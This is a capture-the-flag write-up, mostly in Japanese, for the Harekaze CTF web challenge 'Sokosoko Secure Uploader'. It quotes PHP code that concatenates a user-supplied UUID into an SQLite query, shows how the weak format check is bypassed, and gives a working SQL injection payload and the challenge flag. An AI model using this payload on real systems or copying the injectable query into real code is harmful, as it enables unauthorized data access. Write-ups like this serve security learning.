# ▼▼▼Sokosoko Secure Uploader(web:100)57/447=12.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
Descriptionこのサービス(http://problem.harekaze.com:10002/)を使ってファイルを暗号化しました。暗号化後のファイルを添付しましたが、UUID は誤って削除してしまいました。覚えているのは、この UUID が 9e5a から始まることだけです :(
I encrypted my file by using this service. Attachment is the encrypted file, but I accidentally deleted the UUID of the file. All I remember is the UUID starts with 9e5a :(
・flag.png.encrypted
・src.zip(ソースコード)
---
**1.機能の把握**
・Encryption
   Sorry, this function is disabled.(無効化されている)
・Decryption
　UUID入力と暗号ファイル送信する機能
---
**1.ソースコードを読んでいく**
decrypt.phpを確認する。
↓
``` 10000) {  die('uploaded file is too large');}
if (!isset($_POST['uuid']) || empty($_POST['uuid'])) {  die('no UUID was provided');}
$uuid = $_POST['uuid'];if (!is_string($uuid) || !is_uuid($uuid)) {  die('invalid UUID');}
$data = file_get_contents($_FILES['file']['tmp_name']);
$pdo = new PDO('sqlite:key.db');$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");$res = $stmt->fetch();
if ($res === false) {  die('key not found');}
$filename = basename($_FILES['file']['name'], '.encrypted');$decrypted = arcfour($data, $res['key']);header('Content-Disposition: attachment; filename="' . $filename . '";');header('Content-Length: ' . strlen($decrypted));header('Content-Type: application/force-download');echo $decrypted;```
↓
```$stmt = $pdo->query("SELECT key FROM decryption_key WHERE id = '$uuid'");```
↓
入力値である、uuidでSQLインジェクション可能。
---
SQL文に挿入される前に、下記でuuidのバリデーションチェックがなされる。
↓
```$uuid = $_POST['uuid'];if (!is_string($uuid) || !is_uuid($uuid)) {  die('invalid UUID');}```
↓
UUIDは文字であること。UUIDのフォーマットに沿っていること。
---
そのUUIDのフォーマットはfunctions.phpを確認すると下記になる。
↓
functions.php
```function is_uuid($str) {  if (strlen($str) !== 36) {    return false;  }  if ($str[8] !== '-' or $str[13] !== '-' or $str[18] !== '-' or $str[23] !== '-') {    return false;  }  return true;}```
↓下記のように`-`の位置が合っていればチェックを抜けられる。
`xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx`
---
フォーマットに沿ってSQLインジェクションすればよい。
UUIDの始めの文字は`9e5a`として与えられるので、そのUUIDをSQLインジェクションで取得できればよい。
↓
uuid=`'or id/*----------------*/LIKE'9e5a%`
---
これを暗号化されたファイルと共に、サーバに送信すると暗号解読されたpng画像が得られる。
↓
`HarekazeCTF{k41k4n_j1kk4n_j1n615uk4n}`